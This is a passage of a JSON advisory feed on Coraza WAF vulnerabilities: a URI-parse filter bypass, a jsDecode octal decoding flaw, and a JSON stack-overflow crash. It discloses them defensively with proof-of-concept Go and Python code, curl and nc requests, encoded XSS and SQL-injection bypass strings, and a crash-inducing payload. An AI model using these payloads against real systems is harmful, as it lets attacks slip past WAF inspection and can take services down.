update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:51:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-g4qm-m288-5cp9","https://github.com/corazawaf/coraza/commit/0b940e197ad9983fb3aa36e84f1f81ff985461af","https://github.com/corazawaf/coraza/commit/9f8521398d1ff023b958fad0b944cac265763866","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-g4qm-m288-5cp9"],"source_kind":"github","identifiers":["GHSA-g4qm-m288-5cp9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.778Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHFtLW0yODgtNWNwOc4AB8F9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNHFtLW0yODgtNWNwOc4AB8F9","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHFtLW0yODgtNWNwOc4AB8F9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MjZxLXd2aGctZmg0bc4AB8F8","url":"https://github.com/advisories/GHSA-x26q-wvhg-fh4m","title":"Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations","description":"## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 834–866.\n\n```go\nparsedURL, err := url.ParseRequestURI(uri)\nquery := \"\"\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    path = uri\n    tx.variables.requestURI.Set(uri)\n    /*\n        tx.Variables.VARIABLE_URI_PARSE_ERROR.Set(\"1\")\n        posRawQuery := strings.Index(uri, \"?\")\n        if posRawQuery != -1 {\n            tx.ExtractArguments(\"GET\", uri[posRawQuery+1:])\n            path = uri[:posRawQuery]\n            query = uri[posRawQuery+1:]\n        } else {\n            path = uri\n        }\n        tx.Variables.RequestUri.Set(uri)\n    */\n} else {\n    tx.ExtractGetArguments(parsedURL.RawQuery)   // only path that populates ARGS_GET\n    tx.variables.requestURI.Set(parsedURL.String())\n    path = parsedURL.Path\n    query = parsedURL.RawQuery\n}\n...\ntx.variables.queryString.Set(query)\n```\n\nWhen `url.ParseRequestURI(uri)` returns an error — which Go's stdlib does for any URI containing raw control bytes (`\\x00`, `\\n`, `\\r`, `\\t`, other `0x00–0x1F`, `0x7F`) — the error branch silently produces an empty `QUERY_STRING` and an empty `ARGS_GET` collection. The fallback logic that should split on `?` and populate the GET arguments from the raw tail is already present in the source as a commented-out block, referencing a `VARIABLE_URI_PARSE_ERROR` variable that was never wired up.\n\nConsequences on the error branch:\n\n- `ARGS_GET` / `ARGS_GET_NAMES` / `ARGS` (union) are **empty** — `ExtractGetArguments` is never called.\n- `QUERY_STRING` is **empty** (initial `query := \"\"` at line 835 persists through to `queryString.Set(query)` at line 866).\n- `REQUEST_FILENAME` / `REQUEST_BASENAME` contain the entire URI including any `?…` query suffix (because `path = uri` at line 838 bypasses the parse, and the subsequent `strings.LastIndexAny(path, \"/\\\\\")` runs over the raw URI).\n- `URLENCODED_ERROR` is set to the Go error message. That variable is *also* set by the urlencoded body processor on body-decode failures, so an operator cannot distinguish \"malformed URI\" from \"malformed request body\" without string-matching the error text.\n- `REQUEST_URI_RAW` (set unconditionally at line 822, before the parse) **is** populated correctly.\n\nAny rule targeting `ARGS_GET`, `ARGS`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `QUERY_STRING` — which is the default target set for the vast majority of OWASP CRS GET-side signature rules — does not fire against attacker content that reaches Coraza via a URI Go's `net/url` rejects.\n\n## Reachability\n\nThis issue **does not affect the standard `coraza/v3/http` + `net/http` integration**. Go's `http.ReadRequest` calls `url.ParseRequestURI` first and rejects malformed URIs with `400 Bad Request` before `ProcessURI` is invoked. Verified experimentally against a Coraza-wrapped `net/http` server — a raw request with a control-byte-laced URI produced `HTTP 400`, and the handler was never reached.\n\nThe bug is reachable when an integration forwards raw URI bytes to `tx.ProcessURI` directly, bypassing Go's HTTP parser:\n\n- **`coraza-spoa`** — HAProxy SPOP agent. Receives URI from HAProxy, which permits bytes `net/http` rejects.\n- **`coraza-proxy-wasm`** — Envoy WASM filter. Passes the `:path` pseudo-header from Envoy.\n- Custom FFI/WASM hosts and any embedder calling `tx.ProcessURI(rawURI, method, httpVersion)` with bytes not pre-validated by Go's URL parser.\n\nThis gates the attack to Attack Complexity:High — a standard Go HTTP deployment is not exposed.\n\n## Proof of Concept\n\nDirect-API reproduction (simulating the non-net/http integration path):\n\n```go\nwaf, _ := coraza.NewWAF(coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRule ARGS_GET     \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:1,deny,status:403\"\nSecRule QUERY_STRING \"@contains ATTACK_HERE_XYZ\" \"id:9002,phase:1,deny,status:403\"\n`))\n\nfor _, uri := range []string{\n    \"/search?q=ATTACK_HERE_XYZ\",                    // baseline\n    \"/search?q=ATTACK_HERE_XYZ\\x00\u0026y=1\",            // NUL byte\n    \"/search?q=ATTACK_HERE_XYZ\\ninjected: header\",  // bare LF\n    \"/search?q=ATTACK_HERE_XYZ\\rhdr: x\",            // bare CR\n    \"/search?q=ATTACK_HERE_XYZ\\tx=1\",               // tab\n} {\n    tx := waf.NewTransaction()\n    tx.ProcessURI(uri, \"GET\", \"HTTP/1.1\")\n    it := tx.ProcessRequestHeaders()\n    // inspect tx.Variables().QueryString().Get() and tx.Variables().ArgsGet().FindAll()\n    tx.Close()\n}\n```\n\nObserved:\n\n| URI | `QUERY_STRING` | `ARGS_GET` | interrupted? |\n|---|---|---|---|\n| `/search?q=ATTACK_HERE_XYZ` | `q=ATTACK_HERE_XYZ` | 1 entry | **yes (403)** |\n| `/search?q=ATTACK_HERE_XYZ\\x00\u0026y=1` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\ninjected: header` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\rhdr: x` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\tx=1` | `\"\"` | 0 entries | **no — BYPASS** |\n\n`REQUEST_URI_RAW` is populated correctly in every case (line 822 sets it before the parse), so a rule written against `REQUEST_URI_RAW` still catches the attack. CRS and most operator-written rules target `ARGS_GET` / `ARGS` / `QUERY_STRING` — those do not fire.\n\nHTTP-layer reachability check (stock `net/http`):\n\n```\n$ printf 'GET /?q=ATTACK_HERE_XYZ\\x00\u0026y=1 HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8092\nHTTP/1.1 400 Bad Request\n```\n\nConfirms the exposure is limited to non-net/http integrations.\n\n## Mitigation\n\nRecommended fixes, in order:\n\n### 1. Re-enable the existing fallback and wire up `URI_PARSE_ERROR`\n\nThe code to fix this is already present as a commented-out block at `transaction.go:840–851`. Re-enable it, promote the referenced `VARIABLE_URI_PARSE_ERROR` to a real transaction variable, and populate `ARGS_GET` / `QUERY_STRING` from the raw `?…` tail:\n\n```go\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    tx.variables.uriParseError.Set(\"1\")               // new variable\n    tx.variables.requestURI.Set(uri)\n    if i := strings.Index(uri, \"?\"); i != -1 {\n        path = uri[:i]\n        query = uri[i+1:]\n        tx.ExtractGetArguments(query)                  // populate ARGS_GET\n    } else {\n        path = uri\n    }\n} else {\n    ...\n}\n```\n\n### 2. Ship a companion rule in `coraza.conf-recommended`\n\n```conf\nSecRule URI_PARSE_ERROR \"@eq 1\" \\\n    \"id:'200010',phase:1,t:none,log,deny,status:400,msg:'URI failed to parse'\"\n```\n\nThis gives operators a fail-closed default (analogous to rule 200003 for multipart strict error and rule 200002 for body-parse error), so non-net/http integrations at least stop the request regardless of downstream rule coverage.\n\n### 3. Do not overload `URLENCODED_ERROR`\n\nThe current code uses `URLENCODED_ERROR` for URI parse failures. That variable is also set by the urlencoded body processor on body-decode errors; operators cannot distinguish the two causes without string-matching the error text, and any rule they add will fire on both classes of failure. A dedicated `URI_PARSE_ERROR` variable (per the commented-out TODO) is the right shape.\n\n## Affected versions\n\nAll releases on the v3 branch (`\u003e= 3.0.0, \u003c= 3.7.0`); the silent-drop behavior has been present since the first v3 release. Only deployments using non-net/http integrations (coraza-spoa, coraza-proxy-wasm, custom FFI) are exposed in practice.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 834–866 (ProcessURI error branch)\n- `internal/corazawaf/transaction.go` line 822 (`REQUEST_URI_RAW` is populated before the parse, which is why `REQUEST_URI_RAW`-targeted rules still catch the attack)\n- Commented-out fallback at lines 840–851 referencing `VARIABLE_URI_PARSE_ERROR`\n- CWE-20 — Improper Input Validation\n- CWE-436 — Interpretation Conflict\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity stays High: the bypass only applies to integrations that pass Coraza a raw URI that Go's URL parser rejects, which `net/http` does not. The previous vector scored Integrity High (6.8); it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:46:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-x26q-wvhg-fh4m","https://github.com/corazawaf/coraza/commit/0321af96cef18fbafb40980cf075d7cc449a66fa","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-x26q-wvhg-fh4m"],"source_kind":"github","identifiers":["GHSA-x26q-wvhg-fh4m","CVE-2026-107825"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.779Z","epss_percentage":0.00254,"epss_percentile":0.15539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MjZxLXd2aGctZmg0bc4AB8F8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MjZxLXd2aGctZmg0bc4AB8F8","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MjZxLXd2aGctZmg0bc4AB8F8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wYzVxLXFmeHAtZ2dxds4AB8F7","url":"https://github.com/advisories/GHSA-pc5q-qfxp-ggqv","title":"Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass","description":"### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 \u003c inputLen) \u0026\u0026 isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j \u003c 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ \u003e ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n\u003c HTTP/1.1 403 Forbidden\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\u003c HTTP/1.1 200 OK\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n\u003c Content-Length: 39\n\u003c Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"\u003ctxid\u003e\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) \u0026 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`\u003c\\163\\143\\162\\151\\160\\164\u003e` → `\u003cscript\u003e`, and `\\47\\117\\122\\40\\61\\75\\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:\n\n```go\nfor (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j \u003e= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:45:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv","https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-pc5q-qfxp-ggqv"],"source_kind":"github","identifiers":["GHSA-pc5q-qfxp-ggqv","CVE-2026-104774"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-16T06:00:29.153Z","epss_percentage":0.004,"epss_percentile":0.32613,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wYzVxLXFmeHAtZ2dxds4AB8F7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wYzVxLXFmeHAtZ2dxds4AB8F7","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wYzVxLXFmeHAtZ2dxds4AB8F7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Z2NxLXdjMjktNXhmMs4AB8F6","url":"https://github.com/advisories/GHSA-6gcq-wc29-5xf2","title":"Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)","description":"### Summary\n\nThe JSON body processor (`internal/bodyprocessors/json.go`) can be made to\ncrash the whole process with an unrecoverable `fatal error: stack overflow`,\nusing a request body that is well under the recommended `SecRequestBodyLimit`\nand the default `SecArgumentsLimit`.\n\n### Root cause\n\n`readJSON` (json.go:113-143) runs a bounded, best-effort flattening walk\n(`readItems`) and *afterwards* calls `gjson.Valid(s)` on the raw body if\n`readItems` returned no error:\n\n```go\njson := gjson.Parse(s)\n...\ntruncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, \u0026usedBytes, \u0026argCount, res)\nif err != nil {\n    return res, truncated, err\n}\nif !gjson.Valid(s) {\n    return res, truncated, errors.New(\"invalid JSON\")\n}\n```\n\n`gjson.Valid` (gjson v1.18.0, `validany` -\u003e `validarray`/`validobject`) recurses\nonce per nesting level with **no depth bound**. `readItems` does have a depth\nbound (`maxRecursion`), enforced here (json.go:163-182):\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {\n    if byteBudget \u003e 0 \u0026\u0026 *usedBytes \u003e= byteBudget {\n        return true, nil                 // \u003c-- checked first\n    }\n    if argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n        return true, nil                 // \u003c-- checked second\n    }\n    ...\n    if maxRecursion \u003c= 0 {\n        return false, errors.New(\"max recursion reached while reading json object\")\n    }\n```\n\nThe byte-budget and argument-limit checks run *before* the recursion-depth\ncheck, and they short-circuit the walk with `truncated=true, err=nil` instead\nof recursing further. If the configured `SecArgumentsLimit`\n(`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by\nearlier, shallow values in the document, `readItems` stops walking *before it\never reaches* a deeply nested tail later in the same document — so the\n`maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON`\nfalls through to the unconditional `gjson.Valid(s)` call on the complete raw\nbody, including the part `readItems` never visited.\n\nThis is not a new interaction with the recursion limit itself: at v3.7.0,\n`gjson.Valid` ran unconditionally before any recursion check at all, so a\nplain deeply-nested body crashed the process directly. A later fix added a\ndepth check that returns an error before `Valid` runs for the *straightforward*\ncase (nesting reached before any other guard fires). The argument-limit /\nbyte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,\nGHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they\nshort-circuit the walk (and therefore the recursion counter) ahead of the\ndepth check, on both the request and response body path (`ProcessResponse`\ncalls the same `readJSON`, json.go:57-88).\n\nBecause this is `fatal error: stack overflow`, not a `panic`, it is **not**\nrecoverable by any `recover()` in the calling goroutine — the process\nterminates unconditionally.\n\n### PoC\n\n```go\npackage bodyprocessors\n\nimport (\n    \"strings\"\n    \"testing\"\n)\n\nfunc TestStackOverflowRepro(t *testing.T) {\n    body := \"[\" + strings.Repeat(\"1,\", 1000) + strings.Repeat(\"[\", 13_000_000)\n    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit\n    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,\n    // internal/corazawaf/waf.go:359).\n    _, _, _ = readJSON(body, 20, 1000)\n}\n```\n\n```\n$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2584\ngithub.com/tidwall/gjson.validany(...)\n\t.../gjson@v1.18.0/gjson.go:2499\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2589\n... (repeats until the goroutine stack limit is hit)\n```\n\nReproduced against commit `19b86824` (tag `v3.8.0`), both by calling\n`readJSON` directly and end-to-end through the recommended\n`coraza.conf-recommended` configuration (JSON `Content-Type`, default\n`SecArgumentsLimit`, recommended `SecRequestBodyLimit`).\n\n### Impact\n\nAn unauthenticated attacker who can send an HTTP request body (any endpoint\nprotected by Coraza with the JSON body processor enabled, which is the\ndefault for `application/json`) can crash the entire host process with a\nsingle request, using a payload well within default and recommended body\nsize and argument-count limits. There is no privilege or interaction\nrequirement, and the crash cannot be caught or mitigated by the integrator\n(no `recover()` stops a stack-overflow fatal error). This is strictly worse\nthan a CPU-exhaustion or slow-request DoS: the process must be restarted, and\nevery in-flight request/transaction on that process is lost.\n\n### Suggested fix\n\nRun an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`'s\nown recursion accounting) before calling `gjson.Valid`, and never call\n`gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response\npath (`ProcessResponse`) needs the same treatment since it shares `readJSON`.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the initial vulnerability hypothesis and\n  repro shape were supplied by the reporter as an existing written finding;\n  Claude Sonnet 5 independently re-derived the root cause by reading the\n  current source, wrote and ran a fresh PoC test against commit `19b86824`\n  (tag `v3.8.0`), confirmed the crash and stack trace shown above, verified\n  the default configuration values cited (`ArgumentLimit` default,\n  `SecRequestBodyLimit` recommended value) against the current source, and\n  drafted this advisory text.\n- **Review performed:** reproduced by hand by running the PoC test above with\n  `go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against\n  a clean checkout of commit `19b86824`; observed the `fatal error: stack\n  overflow` and stack trace through `gjson.validarray`/`validany`; traced\n  `readJSON`/`readItems` line by line to confirm the guard ordering described\n  above; the PoC was reviewed by a human maintainer (fzipi) before\n  submission of this advisory.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-08T17:45:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2","https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-6gcq-wc29-5xf2"],"source_kind":"github","identifiers":["GHSA-6gcq-wc29-5xf2","CVE-2026-107826"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.779Z","epss_percentage":0.00461,"epss_percentile":0.38051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Z2NxLXdjMjktNXhmMs4AB8F6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Z2NxLXdjMjktNXhmMs4AB8F6","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Z2NxLXdjMjktNXhmMs4AB8F6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z2o0LTlnbTctMmZ4Ms4AB8F5","url":"https://github.com/advisories/GHSA-5gj4-9gm7-2fx2","title":"Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection","description":"### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted 